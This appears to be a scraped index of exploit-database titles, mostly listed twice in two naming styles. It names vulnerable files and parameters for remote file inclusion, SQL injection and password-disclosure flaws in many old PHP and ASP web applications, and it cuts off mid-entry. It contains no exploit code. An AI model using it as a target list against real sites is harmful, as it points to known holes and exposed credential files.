PHPCOIN 1.2.3 - (session_set.php) Remote File Inclusion PHPCOIN 1.2.3 - 'session_set.php' Remote File Inclusion FlashChat 4.5.7 - (aedating4CMS.php) Remote File Inclusion FlashChat 4.5.7 - 'aedating4CMS.php' Remote File Inclusion Beautifier 0.1 - (Core.php) Remote File Inclusion Beautifier 0.1 - 'Core.php' Remote File Inclusion Q-Shop 3.5 - (browse.asp) SQL Injection Q-Shop 3.5 - 'browse.asp' SQL Injection Charon Cart 3.0 - (Review.asp) SQL Injection CMtextS 1.0 - (users_logins/admin.txt) Credentials Disclosure Charon Cart 3.0 - 'Review.asp' SQL Injection CMtextS 1.0 - 'users_logins/admin.txt' Credentials Disclosure PHPartenaire 1.0 - (dix.php3) Remote File Inclusion PHPartenaire 1.0 - 'dix.php3' Remote File Inclusion ProgSys 0.156 - (RR.php) Remote File Inclusion ProgSys 0.156 - 'RR.php' Remote File Inclusion xweblog 2.1 - (kategori.asp) SQL Injection xweblog 2.1 - 'kategori.asp' SQL Injection Web-News 1.6.3 - (template.php) Remote File Inclusion Web-News 1.6.3 - 'template.php' Remote File Inclusion Advaced-Clan-Script 3.4 - (mcf.php) Remote File Inclusion Advaced-Clan-Script 3.4 - 'mcf.php' Remote File Inclusion SyntaxCMS 1.3 - (0004_init_urls.php) Remote File Inclusion Polaring 0.04.03 - (general.php) Remote File Inclusion SyntaxCMS 1.3 - '0004_init_urls.php' Remote File Inclusion Polaring 0.04.03 - 'general.php' Remote File Inclusion BrudaNews 1.1 - (admin/index.php) Remote File Inclusion BrudaGB 1.1 - (admin/index.php) Remote File Inclusion faceStones personal 2.0.42 - (fs_form_links.php) File Inclusion BrudaNews 1.1 - 'admin/index.php' Remote File Inclusion BrudaGB 1.1 - 'admin/index.php' Remote File Inclusion faceStones personal 2.0.42 - 'fs_form_links.php' File Inclusion Kietu? <= 4.0.0b2 - (hit.php) Remote File Inclusion Newswriter SW 1.42 - (editfunc.inc.php) File Inclusion Kietu? <= 4.0.0b2 - 'hit.php' Remote File Inclusion Newswriter SW 1.42 - 'editfunc.inc.php' File Inclusion Newswriter SW 1.4.2 - (main.inc.php) Remote File Inclusion PPA Gallery 1.0 - (functions.inc.php) Remote File Inclusion Newswriter SW 1.4.2 - 'main.inc.php' Remote File Inclusion PPA Gallery 1.0 - 'functions.inc.php' Remote File Inclusion phpMyWebmin 1.0 - (window.php) Remote File Inclusion PHPSecurePages 0.28b - (secure.php) Remote File Inclusion phpMyWebmin 1.0 - 'window.php' Remote File Inclusion PHPSecurePages 0.28b - 'secure.php' Remote File Inclusion PHP Krazy Image Hosting 0.7a - (display.php) SQL Injection UBB.Threads 6.5.1.1 - (doeditconfig.php) Code Execution PHP Krazy Image Hosting 0.7a - 'display.php' SQL Injection UBB.Threads 6.5.1.1 - 'doeditconfig.php' Code Execution VAMP Webmail 2.0beta1 - (yesno.phtml) Remote File Inclusion VAMP Webmail 2.0beta1 - 'yesno.phtml' Remote File Inclusion BBaCE 3.5 - (includes/functions.php) Remote File Inclusion BBaCE 3.5 - 'includes/functions.php' Remote File Inclusion Klinza Professional CMS 5.0.1 - (show_hlp.php) File Inclusion Klinza Professional CMS 5.0.1 - 'show_hlp.php' File Inclusion PHPGreetz 0.99 - (footer.php) Remote File Inclusion PHPGreetz 0.99 - 'footer.php' Remote File Inclusion phpBB Security Suite Mod 1.0.0 - (logger_engine.php) Remote File Inclusion phpBB Security Suite Mod 1.0.0 - 'logger_engine.php' Remote File Inclusion Cahier de texte 2.0 - (lire.php) SQL Injection Cahier de texte 2.0 - 'lire.php' SQL Injection PHPPC 1.03 RC1 - (/lib/functions.inc.php) Remote File Inclusion docmint 2.0 - (engine/require.php) Remote File Inclusion PHPPC 1.03 RC1 - '/lib/functions.inc.php' Remote File Inclusion docmint 2.0 - 'engine/require.php' Remote File Inclusion phpMyAgenda 3.1 - (templates/header.php3) Local File Inclusion TribunaLibre 3.12 Beta - (ftag.php) Remote File Inclusion phpMyAgenda 3.1 - 'templates/header.php3' Local File Inclusion TribunaLibre 3.12 Beta - 'ftag.php' Remote File Inclusion compteur 2.0 - (param_editor.php) Remote File Inclusion compteur 2.0 - 'param_editor.php' Remote File Inclusion Foafgen 0.3 - (redir.php) Local Source Disclosure Foafgen 0.3 - 'redir.php' Local Source Disclosure Exhibit Engine 1.5 RC 4 - (photo_comment.php) File Inclusion Claroline 1.8.0 rc1 - (import.lib.php) Remote File Inclusion PHPLibrary 1.5.3 - (grid3.lib.php) Remote File Inclusion Jinzora 2.1 - (media.php) Remote File Inclusion ae2 - (standart.inc.php) Remote File Inclusion n@board 3.1.9e - (naboard_pnr.php) Remote File Inclusion CommunityPortals 1.0 - (import-archive.php) File Inclusion PHP News Reader 2.6.4 - (phpBB.inc.php) Remote File Inclusion Exhibit Engine 1.5 RC 4 - 'photo_comment.php' File Inclusion Claroline 1.8.0 rc1 - 'import.lib.php' Remote File Inclusion PHPLibrary 1.5.3 - 'grid3.lib.php' Remote File Inclusion Jinzora 2.1 - 'media.php' Remote File Inclusion ae2 - 'standart.inc.php' Remote File Inclusion n@board 3.1.9e - 'naboard_pnr.php' Remote File Inclusion CommunityPortals 1.0 - 'import-archive.php' File Inclusion PHP News Reader 2.6.4 - 'phpBB.inc.php' Remote File Inclusion Minichat 6.0 - (ftag.php) Remote File Inclusion Minichat 6.0 - 'ftag.php' Remote File Inclusion PHPMyConferences 8.0.2 - (menu.inc.php) File Inclusion PHPMyConferences 8.0.2 - 'menu.inc.php' File Inclusion maluinfo 206.2.38 - (bb_usage_stats.php) Remote File Inclusion phpBB PlusXL 2.0_272 - (constants.php) Remote File Inclusion Genepi 1.6 - (genepi.php) Remote File Inclusion Cdsagenda 4.2.9 - (SendAlertEmail.php) File Inclusion maluinfo 206.2.38 - 'bb_usage_stats.php' Remote File Inclusion phpBB PlusXL 2.0_272 - 'constants.php' Remote File Inclusion Genepi 1.6 - 'genepi.php' Remote File Inclusion Cdsagenda 4.2.9 - 'SendAlertEmail.php' File Inclusion phpBB lat2cyr Mod 1.0.1 - (lat2cyr.php) Remote File Inclusion phpBB lat2cyr Mod 1.0.1 - 'lat2cyr.php' Remote File Inclusion phpBB Security 1.0.1 - (PHP_security.php) Remote File Inclusion YaBBSM 3.0.0 - (Offline.php) Remote File Inclusion phpBB Security 1.0.1 - 'PHP_security.php' Remote File Inclusion YaBBSM 3.0.0 - 'Offline.php' Remote File Inclusion IncCMS Core 1.0.0 - (settings.php) Remote File Inclusion Jinzora 2.6 - (extras/mt.php) Remote File Inclusion CyberBrau 0.9.4 - (forum/track.php) Remote File Inclusion IncCMS Core 1.0.0 - 'settings.php' Remote File Inclusion Jinzora 2.6 - 'extras/mt.php' Remote File Inclusion CyberBrau 0.9.4 - 'forum/track.php' Remote File Inclusion NuralStorm Webmail 0.98b - (process.php) Remote File Inclusion NuralStorm Webmail 0.98b - 'process.php' Remote File Inclusion Def-Blog 1.0.3 - (comadd.php) SQL Injection Def-Blog 1.0.3 - 'comadd.php' SQL Injection PHPMyManga 0.8.1 - (template.php) Multiple File Inclusion PHPMyManga 0.8.1 - 'template.php' Multiple File Inclusion WSN Forum 1.3.4 - (prestart.php) Remote Code Execution WSN Forum 1.3.4 - 'prestart.php' Remote Code Execution PHPPowerCards 2.10 - (txt.inc.php) Remote Code Execution PHP AMX 0.90 - (plugins/main.php) Remote File Inclusion PHPPowerCards 2.10 - 'txt.inc.php' Remote Code Execution PHP AMX 0.90 - 'plugins/main.php' Remote File Inclusion YapBB 1.2 Beta2 - (yapbb_session.php) Remote File Inclusion LoCal Calendar 1.1 - (lcUser.php) Remote File Inclusion EPNadmin 0.7 - (constantes.inc.php) Remote File Inclusion PH Pexplorer 0.24 - (explorer_load_lang.php) Local File Inclusion YapBB 1.2 Beta2 - 'yapbb_session.php' Remote File Inclusion LoCal Calendar 1.1 - 'lcUser.php' Remote File Inclusion EPNadmin 0.7 - 'constantes.inc.php' Remote File Inclusion PH Pexplorer 0.24 - 'explorer_load_lang.php' Local File Inclusion Lou Portail 1.4.1 - (admin_module.php) Remote File Inclusion WGCC 0.5.6b - (quiz.php) SQL Injection Lou Portail 1.4.1 - 'admin_module.php' Remote File Inclusion WGCC 0.5.6b - 'quiz.php' SQL Injection CASTOR 1.1.1 - (lib/rs.php) Remote File Inclusion CASTOR 1.1.1 - 'lib/rs.php' Remote File Inclusion Net_DNS 0.3 - (DNS/RR.php) Remote File Inclusion Net_DNS 0.3 - 'DNS/RR.php' Remote File Inclusion SourceForge 1.0.4 - (database.php) Remote File Inclusion SourceForge 1.0.4 - 'database.php' Remote File Inclusion Jaws 0.5.2 - (include/JawsDB.php) Remote File Inclusion JumbaCMS 0.0.1 - (includes/functions.php) Remote File Inclusion InteliEditor 1.2.x - (lib.editor.inc.php) Remote File Inclusion Ascended Guestbook 1.0.0 - (embedded.php) File Inclusion Jaws 0.5.2 - 'include/JawsDB.php' Remote File Inclusion JumbaCMS 0.0.1 - 'includes/functions.php' Remote File Inclusion InteliEditor 1.2.x - 'lib.editor.inc.php' Remote File Inclusion Ascended Guestbook 1.0.0 - 'embedded.php' File Inclusion UeberProject 1.0 - (login/secure.php) Remote File Inclusion UeberProject 1.0 - 'login/secure.php' Remote File Inclusion TextPattern 1.19 - (publish.php) Remote File Inclusion TextPattern 1.19 - 'publish.php' Remote File Inclusion ask_rave 0.9 PR - (end.php footfile) Remote File Inclusion ask_rave 0.9 PR - 'end.php footfile' Remote File Inclusion PHP League 0.82 - (classement.php) SQL Injection PHP League 0.82 - 'classement.php' SQL Injection PHPMyDesk 1.0 Beta - (viewticket.php) Local File Inclusion PHPMyDesk 1.0 Beta - 'viewticket.php' Local File Inclusion mp3SDS 3.0 - (Core/core.inc.php) Remote File Inclusion mp3SDS 3.0 - 'Core/core.inc.php' Remote File Inclusion MiraksGalerie 2.62 - (pcltar.lib.php) Remote File Inclusion Free Image Hosting 1.0 - (forgot_pass.php) File Inclusion Free File Hosting 1.1 - (forgot_pass.php) File Inclusion MiraksGalerie 2.62 - 'pcltar.lib.php' Remote File Inclusion Free Image Hosting 1.0 - 'forgot_pass.php' File Inclusion Free File Hosting 1.1 - 'forgot_pass.php' File Inclusion MySource CMS 2.16.2 - (init_mysource.php) Remote File Inclusion MySource CMS 2.16.2 - 'init_mysource.php' Remote File Inclusion Faq Administrator 2.1 - (faq_reply.php) Remote File Inclusion PHPMyRing 4.2.1 - (cherche.php) SQL Injection Faq Administrator 2.1 - 'faq_reply.php' Remote File Inclusion PHPMyRing 4.2.1 - 'cherche.php' SQL Injection PwsPHP 1.1 - (themes/fin.php) Remote File Inclusion T.G.S. CMS 0.1.7 - (logout.php) SQL Injection PwsPHP 1.1 - 'themes/fin.php' Remote File Inclusion T.G.S. CMS 0.1.7 - 'logout.php' SQL Injection Innovate Portal 2.0 - (acp.php) Remote Code Execution Innovate Portal 2.0 - 'acp.php' Remote Code Execution Lithium CMS 4.04c - (classes/index.php) Local File Inclusion Article System 0.6 - (volume.php) Remote File Inclusion Lithium CMS 4.04c - 'classes/index.php' Local File Inclusion Article System 0.6 - 'volume.php' Remote File Inclusion Ultimate PHP Board 2.0 - (header_simple.php) File Inclusion Ultimate PHP Board 2.0 - 'header_simple.php' File Inclusion iWare Pro 5.0.4 - (chat_panel.php) Remote Code Execution PHPAdventure 1.1 - (ad_main.php) Remote File Inclusion iWare Pro 5.0.4 - 'chat_panel.php' Remote Code Execution PHPAdventure 1.1 - 'ad_main.php' Remote File Inclusion IrayoBlog 0.2.4 - (inc/irayofuncs.php) Remote File Inclusion IrayoBlog 0.2.4 - 'inc/irayofuncs.php' Remote File Inclusion AspPired2Poll 1.0 - (MoreInfo.asp) SQL Injection MyAlbum 3.02 - (language.inc.php) Remote File Inclusion PHPManta 1.0.2 - (view-sourcecode.php) Local File Inclusion EncapsCMS 0.3.6 - (core/core.php) Remote File Inclusion AspPired2Poll 1.0 - 'MoreInfo.asp' SQL Injection MyAlbum 3.02 - 'language.inc.php' Remote File Inclusion PHPManta 1.0.2 - 'view-sourcecode.php' Local File Inclusion EncapsCMS 0.3.6 - 'core/core.php' Remote File Inclusion NuCommunity 1.0 - (cl_CatListing.asp) SQL Injection NuRems 1.0 - (propertysdetails.asp) SQL Injection NuStore 1.0 - (Products.asp) SQL Injection NuSchool 1.0 - (CampusNewsDetails.asp) SQL Injection NuCommunity 1.0 - 'cl_CatListing.asp' SQL Injection NuRems 1.0 - 'propertysdetails.asp' SQL Injection NuStore 1.0 - 'Products.asp' SQL Injection NuSchool 1.0 - 'CampusNewsDetails.asp' SQL Injection Munch Pro 1.0 - (switch.asp) SQL Injection Munch Pro 1.0 - 'switch.asp' SQL Injection UStore 1.0 - (detail.asp) SQL Injection USupport 1.0 - (detail.asp) SQL Injection UPublisher 1.0 - (viewarticle.asp) SQL Injection UStore 1.0 - 'detail.asp' SQL Injection USupport 1.0 - 'detail.asp' SQL Injection UPublisher 1.0 - 'viewarticle.asp' SQL Injection Quick.Cart 2.0 - (actions_client/gallery.php) Local File Inclusion Online Event Registration 2.0 - (save_profile.asp) Pass Change Exploit Quick.Cart 2.0 - 'actions_client/gallery.php' Local File Inclusion Online Event Registration 2.0 - 'save_profile.asp' Pass Change Exploit Property Pro 1.0 - (vir_Login.asp) Remote Login Bypass Property Pro 1.0 - 'vir_Login.asp' Remote Login Bypass PHPPeanuts 1.3 Beta - (Inspect.php) Remote File Inclusion PHPPeanuts 1.3 Beta - 'Inspect.php' Remote File Inclusion NetVIOS 2.0 - (page.asp) SQL Injection NetVIOS 2.0 - 'page.asp' SQL Injection Etomite CMS 0.6.1.2 - (manager/index.php) Local File Inclusion Etomite CMS 0.6.1.2 - 'manager/index.php' Local File Inclusion miniCWB 1.0.0 - (contact.php) Local File Inclusion miniCWB 1.0.0 - 'contact.php' Local File Inclusion Powies MatchMaker 4.05 - (matchdetail.php) SQL Injection mxBB Module calsnails 1.06 - (mx_common.php) File Inclusion Powies MatchMaker 4.05 - 'matchdetail.php' SQL Injection mxBB Module calsnails 1.06 - 'mx_common.php' File Inclusion Dicshunary 0.1a - (check_status.php) Remote File Inclusion Dicshunary 0.1a - 'check_status.php' Remote File Inclusion PHPWebThings 1.5.2 - (editor.php) Remote File Inclusion PHPWebThings 1.5.2 - 'editor.php' Remote File Inclusion ASPNuke 0.80 - (register.asp) SQL Injection ASPNuke 0.80 - 'register.asp' SQL Injection Photo Cart 3.9 - (adminprint.php) Remote File Inclusion e-Ark 1.0 - (src/ark_inc.php) Remote File Inclusion Photo Cart 3.9 - 'adminprint.php' Remote File Inclusion e-Ark 1.0 - 'src/ark_inc.php' Remote File Inclusion fipsGallery 1.5 - (index1.asp) SQL Injection fipsForum 2.6 - (default2.asp) SQL Injection fipsGallery 1.5 - 'index1.asp' SQL Injection fipsForum 2.6 - 'default2.asp' SQL Injection JiRos FAQ Manager 1.0 - (index.asp) SQL Injection HSRS 1.0 - (addcode.php) Remote File Inclusion OWLLib 1.0 - (OWLMemoryProperty.php) Remote File Inclusion JiRos FAQ Manager 1.0 - 'index.asp' SQL Injection HSRS 1.0 - 'addcode.php' Remote File Inclusion OWLLib 1.0 - 'OWLMemoryProperty.php' Remote File Inclusion Basic Forum 1.1 - (edit.asp) SQL Injection Basic Forum 1.1 - 'edit.asp' SQL Injection Exhibit Engine 1.22 - (styles.php) Remote File Inclusion Exhibit Engine 1.22 - 'styles.php' Remote File Inclusion SimpleBlog 2.3 - (admin/edit.asp) SQL Injection SimpleBlog 2.3 - 'admin/edit.asp' SQL Injection P-News 2.0 - (user.txt) Remote Password Disclosure P-News 2.0 - 'user.txt' Remote Password Disclosure b2evolution 1.8.5 < 1.9b - (import-mt.php) Remote File Inclusion b2evolution 1.8.5 < 1.9b - 'import-mt.php' Remote File Inclusion LDU 8.x - (polls.php) SQL Injection LDU 8.x - 'polls.php' SQL Injection ContentServ 4.x - (admin/FileServer.php) File Disclosure ContentServ 4.x - 'admin/FileServer.php' File Disclosure PHP Upload Center 2.0 - (activate.php) File Inclusion PHP Upload Center 2.0 - 'activate.php' File Inclusion QuickCart 2.0 - (categories.php) Local File Inclusion QuickCart 2.0 - 'categories.php' Local File Inclusion ThinkEdit 1.9.2 - (render.php) Remote File Inclusion ThinkEdit 1.9.2 - 'render.php' Remote File Inclusion TorrentFlux 2.2 - (downloaddetails.php) Local File Disclosure TorrentFlux 2.2 - (maketorrent.php) Remote Command Execution TorrentFlux 2.2 - 'downloaddetails.php' Local File Disclosure TorrentFlux 2.2 - 'maketorrent.php' Remote Command Execution HR Assist 1.05 - (vdateUsr.asp) Remote Login Bypass PHPAlbum 0.4.1 Beta 6 - (language.php) Local File Inclusion HR Assist 1.05 - 'vdateUsr.asp' Remote Login Bypass PHPAlbum 0.4.1 Beta 6 - 'language.php' Local File Inclusion Barman 0.0.1r3 - (Interface.php) Remote File Inclusion Barman 0.0.1r3 - 'Interface.php' Remote File Inclusion Blog:CMS 4.1.3 - (NP_UserSharing.php) Remote File Inclusion Blog:CMS 4.1.3 - 'NP_UserSharing.php' Remote File Inclusion PHPMyCMS 0.3 - (basic.inc.php) Remote File Inclusion yaplap 0.6.1b - (ldap.php) Remote File Inclusion PHPMyCMS 0.3 - 'basic.inc.php' Remote File Inclusion yaplap 0.6.1b - 'ldap.php' Remote File Inclusion Azucar CMS 1.3 - (admin/index_sitios.php) File Inclusion Azucar CMS 1.3 - 'admin/index_sitios.php' File Inclusion RateMe 1.3.2 - (main.inc.php) Remote File Inclusion RateMe 1.3.2 - 'main.inc.php' Remote File Inclusion Paristemi 0.8.3b - (buycd.php) Remote File Inclusion Paristemi 0.8.3b - 'buycd.php' Remote File Inclusion cwmVote 1.0 - (archive.php) Remote File Inclusion cwmCounter 5.1.1 - (statistic.php) Remote File Inclusion cwmVote 1.0 - 'archive.php' Remote File Inclusion cwmCounter 5.1.1 - 'statistic.php' Remote File Inclusion TextSend 1.5 - (config/sender.php) Remote File Inclusion TextSend 1.5 - 'config/sender.php' Remote File Inclusion PHP/Mysql Site Builder 0.0.2 - (htm2PHP.php) File Disclosure Newxooper-PHP 0.9.1 - (mapage.php) Remote File Inclusion PHP/Mysql Site Builder 0.0.2 - 'htm2PHP.php' File Disclosure Newxooper-PHP 0.9.1 - 'mapage.php' Remote File Inclusion inertianews 0.02b - (inertianews_main.php) Remote File Inclusion inertianews 0.02b - 'inertianews_main.php' Remote File Inclusion EternalMart Guestbook 1.10 - (admin/auth.php) Remote File Inclusion EternalMart Guestbook 1.10 - 'admin/auth.php' Remote File Inclusion b2 Blog 0.5 - (b2verifauth.php) Remote File Inclusion b2 Blog 0.5 - 'b2verifauth.php' Remote File Inclusion Enthrallweb ePhotos 1.0 - (subLevel2.asp) SQL Injection Enthrallweb ePhotos 1.0 - 'subLevel2.asp' SQL Injection Enthrallweb eCars 1.0 - (types.asp) SQL Injection Enthrallweb emates 1.0 - (newsdetail.asp) SQL Injection Enthrallweb eCars 1.0 - 'types.asp' SQL Injection Enthrallweb emates 1.0 - 'newsdetail.asp' SQL Injection Enthrallweb eCoupons 1.0 - (myprofile.asp) Remote Pass Change Exploit Enthrallweb eCoupons 1.0 - 'myprofile.asp' Remote Pass Change Exploit File Upload Manager 1.0.6 - (detail.asp) SQL Injection File Upload Manager 1.0.6 - 'detail.asp' SQL Injection Ultimate PHP Board 2.0b1 - (chat/login.php) Code Execution Pagetool CMS 1.07 - (pt_upload.php) Remote File Inclusion Ultimate PHP Board 2.0b1 - 'chat/login.php' Code Execution Pagetool CMS 1.07 - 'pt_upload.php' Remote File Inclusion HLStats 1.34 - (hlstats.php) SQL Injection HLStats 1.34 - 'hlstats.php' SQL Injection eNdonesia 8.4 - (mod.php/friend.php/admin.php) Multiple Vulnerabilities MTCMS 2.0 - (admin/admin_settings.php) Remote File Inclusion eNdonesia 8.4 - 'mod.php/friend.php/admin.php' Multiple Vulnerabilities MTCMS 2.0 - 'admin/admin_settings.php' Remote File Inclusion Okul Merkezi Portal 1.0 - (ataturk.php) Remote File Inclusion Okul Merkezi Portal 1.0 - 'ataturk.php' Remote File Inclusion PHP-Update 2.7 - (admin/uploads.php) Remote Code Execution Yrch 1.0 - (plug.inc.php path Variable) Remote File Inclusion Bubla 1.0.0rc2 - (bu/process.php) Remote File Inclusion PHP-Update 2.7 - 'admin/uploads.php' Remote Code Execution Yrch 1.0 - 'plug.inc.php path Variable' Remote File Inclusion Bubla 1.0.0rc2 - 'bu/process.php' Remote File Inclusion aFAQ 1.0 - (faqDsp.asp catcode) SQL Injection aFAQ 1.0 - 'faqDsp.asp catcode' SQL Injection x-news 1.1 - (users.txt) Remote Password Disclosure Voodoo chat 1.0RC1b - (users.dat) Password Disclosure x-news 1.1 - 'users.txt' Remote Password Disclosure Voodoo chat 1.0RC1b - 'users.dat' Password Disclosure SoftArtisans SAFileUp 5.0.14 - (viewsrc.asp) Script Source Disclosure FreeStyle Wiki 3.6.2 - (user.dat) Password Disclosure SoftArtisans SAFileUp 5.0.14 - 'viewsrc.asp' Script Source Disclosure FreeStyle Wiki 3.6.2 - 'user.dat' Password Disclosure P-News 1.16 / 1.17 - (user.dat) Remote Password Disclosure P-News 1.16 / 1.17 - 'user.dat' Remote Password Disclosure RBlog 1.0 - (admin.mdb) Remote Password Disclosure RBlog 1.0 - 'admin.mdb' Remote Password Disclosure AutoDealer 2.0 - (detail.asp iPro) SQL Injection WWWBoard 2.0 - (passwd.txt) Remote Password Disclosure AutoDealer 2.0 - 'detail.asp iPro' SQL Injection WWWBoard 2.0 - 'passwd.txt' Remote Password Disclosure TaskTracker 1.5 - (Customize.asp) Remote Add Administrator Exploit TaskTracker 1.5 - 'Customize.asp' Remote Add Administrator Exploit VerliAdmin 0.3 - (language.php) Local File Inclusion VerliAdmin 0.3 - 'language.php' Local File Inclusion Aratix 0.2.2b11 - (inc/init.inc.php) Remote File Inclusion Aratix 0.2.2b11 - 'inc/init.inc.php' Remote File Inclusion iG Calendar 1.0 - (user.php id Variable) SQL Injection iG Calendar 1.0 - 'user.php id Variable' SQL Injection LunarPoll 1.0 - (show.php PollDir) Remote File Inclusion TLM CMS 1.1 - (i-accueil.php chemin) Remote File Inclusion Mint Haber Sistemi 2.7 - (duyuru.asp id) SQL Injection LunarPoll 1.0 - 'show.php PollDir' Remote File Inclusion TLM CMS 1.1 - 'i-accueil.php chemin' Remote File Inclusion Mint Haber Sistemi 2.7 - 'duyuru.asp id' SQL Injection KGB 1.9 - (sesskglogadmin.php) Local File Inclusion KGB 1.9 - 'sesskglogadmin.php' Local File Inclusion MGB 0.5.4.5 - (email.php id Variable) SQL Injection MGB 0.5.4.5 - 'email.php id Variable' SQL Injection PHPMyphorum 1.5a - (mep/frame.php) Remote File Inclusion PHPMyphorum 1.5a - 'mep/frame.php' Remote File Inclusion Oreon 1.2.3 RC4 - (lang/index.php) Remote File Inclusion ComVironment 4.0 - (grab_globals.lib.php) Remote File Inclusion Oreon 1.2.3 RC4 - 'lang/index.php' Remote File Inclusion ComVironment 4.0 - 'grab_globals.lib.php' Remote File Inclusion PHPSherpa - (include/config.inc.php) Remote File Inclusion Bradabra 2.0.5 - (include/includes.php) Remote File Inclusion Neon Labs Website 3.2 - (nl.php g_strRootDir) Remote File Inclusion PHPSherpa - 'include/config.inc.php' Remote File Inclusion Bradabra 2.0.5 - 'include/includes.php' Remote File Inclusion Neon Labs Website 3.2 - 'nl.php g_strRootDir' Remote File Inclusion MySpeach 2.1b - (up.php) Remote File Inclusion WebChat 0.77 - (defines.php WEBCHATPATH) Remote File Inclusion Mafia Scum Tools 2.0.0 - (index.php gen) Remote File Inclusion MySpeach 2.1b - 'up.php' Remote File Inclusion WebChat 0.77 - 'defines.php WEBCHATPATH' Remote File Inclusion Mafia Scum Tools 2.0.0 - 'index.php gen' Remote File Inclusion Upload Service 1.0 - (top.php maindir) Remote File Inclusion Upload Service 1.0 - 'top.php maindir' Remote File Inclusion Vote-Pro 4.0 - (poll_frame.php poll_id) Remote Code Execution BBClone 0.31 - (selectlang.php) Remote File Inclusion Vote-Pro 4.0 - 'poll_frame.php poll_id' Remote Code Execution BBClone 0.31 - 'selectlang.php' Remote File Inclusion RPW 1.0.2 - (config.php sql_language) Remote File Inclusion ASP EDGE 1.2b - (user.asp) SQL Injection ASP NEWS 3.0 - (news_detail.asp) SQL Injection RPW 1.0.2 - 'config.php sql_language' Remote File Inclusion ASP EDGE 1.2b - 'user.asp' SQL Injection ASP NEWS 3.0 - 'news_detail.asp' SQL Injection GPS CMS 1.2 - (print.asp) SQL Injection GPS CMS 1.2 - 'print.asp' SQL Injection Virtual Path 1.0 - (vp/configure.php) Remote File Inclusion MyPHPcommander 2.0 - (package.php) Remote File Inclusion AINS 0.02b - (ains_main.php ains_path) Remote File Inclusion Virtual Path 1.0 - 'vp/configure.php' Remote File Inclusion MyPHPcommander 2.0 - 'package.php' Remote File Inclusion AINS 0.02b - 'ains_main.php ains_path' Remote File Inclusion nsGalPHP - (includes/config.inc.php racineTBS) Remote File Inclusion nsGalPHP - 'includes/config.inc.php racineTBS' Remote File Inclusion PHPMyReports 3.0.11 - (lib_head.php) Remote File Inclusion PHPMyReports 3.0.11 - 'lib_head.php' Remote File Inclusion xNews 1.3 - (xNews.php) SQL Injection xNews 1.3 - 'xNews.php' SQL Injection Webfwlog 0.92 - (debug.php) Remote File Disclosure Galeria Zdjec 3.0 - (zd_numer.php) Local File Inclusion Webfwlog 0.92 - 'debug.php' Remote File Disclosure Galeria Zdjec 3.0 - 'zd_numer.php' Local File Inclusion MyNews 4.2.2 - (themefunc.php) Remote File Inclusion MyNews 4.2.2 - 'themefunc.php' Remote File Inclusion SIPS 0.3.1 - (box.inc.php) Remote File Inclusion SIPS 0.3.1 - 'box.inc.php' Remote File Inclusion Epistemon 1.0 - (common.php inc_path) Remote File Inclusion WebBuilder 2.0 - (StageLoader.php) Remote File Inclusion Epistemon 1.0 - 'common.php inc_path' Remote File Inclusion WebBuilder 2.0 - 'StageLoader.php' Remote File Inclusion Flipper Poll 1.1.0 - (poll.php root_path) Remote File Inclusion Flipper Poll 1.1.0 - 'poll.php root_path' Remote File Inclusion Photo Galerie Standard 1.1 - (view.php) SQL Injection Woltlab Burning Board Lite 1.0.2pl3e - (pms.php) SQL Injection KDPics 1.11 - (exif.php lib_path) Remote File Inclusion Flip 2.01 final - (previewtheme.php inc_path) Remote File Inclusion Photo Galerie Standard 1.1 - 'view.php' SQL Injection Woltlab Burning Board Lite 1.0.2pl3e - 'pms.php' SQL Injection KDPics 1.11 - 'exif.php lib_path' Remote File Inclusion Flip 2.01 final - 'previewtheme.php inc_path' Remote File Inclusion SMA-DB 0.3.9 - (settings.php) Remote File Inclusion SMA-DB 0.3.9 - 'settings.php' Remote File Inclusion LightRO CMS 1.0 - (inhalt.php) Remote File Inclusion LightRO CMS 1.0 - 'inhalt.php' Remote File Inclusion AgerMenu 0.01 - (top.inc.php rootdir) Remote File Inclusion WebMatic 2.6 - (index_album.php) Remote File Inclusion AgerMenu 0.01 - 'top.inc.php rootdir' Remote File Inclusion WebMatic 2.6 - 'index_album.php' Remote File Inclusion LightRO CMS 1.0 - (index.php projectid) SQL Injection LightRO CMS 1.0 - 'index.php projectid' SQL Injection LushiWarPlaner 1.0 - (register.php) SQL Injection LushiWarPlaner 1.0 - 'register.php' SQL Injection philboard 1.14 - (philboard_forum.asp) SQL Injection philboard 1.14 - 'philboard_forum.asp' SQL Injection Xaran CMS 2.0 - (xarancms_haupt.php) SQL Injection PHPCC 4.2 Beta - (nickpage.php npid) SQL Injection Xaran CMS 2.0 - 'xarancms_haupt.php' SQL Injection PHPCC 4.2 Beta - 'nickpage.php npid' SQL Injection PollMentor 2.0 - (pollmentorres.asp id) SQL Injection PollMentor 2.0 - 'pollmentorres.asp id' SQL Injection nabopoll 1.2 - (survey.inc.php path) Remote File Inclusion nabopoll 1.2 - 'survey.inc.php path' Remote File Inclusion Snitz Forums 2000 3.1 SR4 - (pop_profile.asp) SQL Injection Snitz Forums 2000 3.1 SR4 - 'pop_profile.asp' SQL Injection Xpression News 1.0.1 - (archives.php) Remote File Disclosure Xpression News 1.0.1 - 'archives.php' Remote File Disclosure Ultimate Fun Book 1.02 - (function.php) Remote File Inclusion NukeSentinel 2.5.05 - (nsbypass.php) Blind SQL Injection NukeSentinel 2.5.05 - (nukesentinel.php) File Disclosure Ultimate Fun Book 1.02 - 'function.php' Remote File Inclusion NukeSentinel 2.5.05 - 'nsbypass.php' Blind SQL Injection NukeSentinel 2.5.05 - 'nukesentinel.php' File Disclosure Nabopoll 1.2 - (result.php surv) Blind SQL Injection Nabopoll 1.2 - 'result.php surv' Blind SQL Injection FlashGameScript 1.5.4 - (index.php func) Remote File Inclusion FlashGameScript 1.5.4 - 'index.php func' Remote File Inclusion FCRing 1.31 - (fcring.php s_fuss) Remote File Inclusion Sinapis 2.2 Gastebuch - (sinagb.php fuss) Remote File Inclusion Sinapis Forum 2.2 - (sinapis.php fuss) Remote File Inclusion FCRing 1.31 - 'fcring.php s_fuss' Remote File Inclusion Sinapis 2.2 Gastebuch - 'sinagb.php fuss' Remote File Inclusion Sinapis Forum 2.2 - 'sinapis.php fuss' Remote File Inclusion CS-Gallery 2.0 - (index.php album) Remote File Inclusion CS-Gallery 2.0 - 'index.php album' Remote File Inclusion PHP-MIP 0.1 - (top.php laypath) Remote File Inclusion STWC-Counter 3.4.0 - (downloadcounter.php) Remote File Inclusion Admin Phorum 3.3.1a - (del.php include_path) Remote File Inclusion vBulletin 3.6.4 - (inlinemod.php postids) SQL Injection Angel Lms 7.1 - (default.asp id) SQL Injection PHP-MIP 0.1 - 'top.php laypath' Remote File Inclusion STWC-Counter 3.4.0 - 'downloadcounter.php' Remote File Inclusion Admin 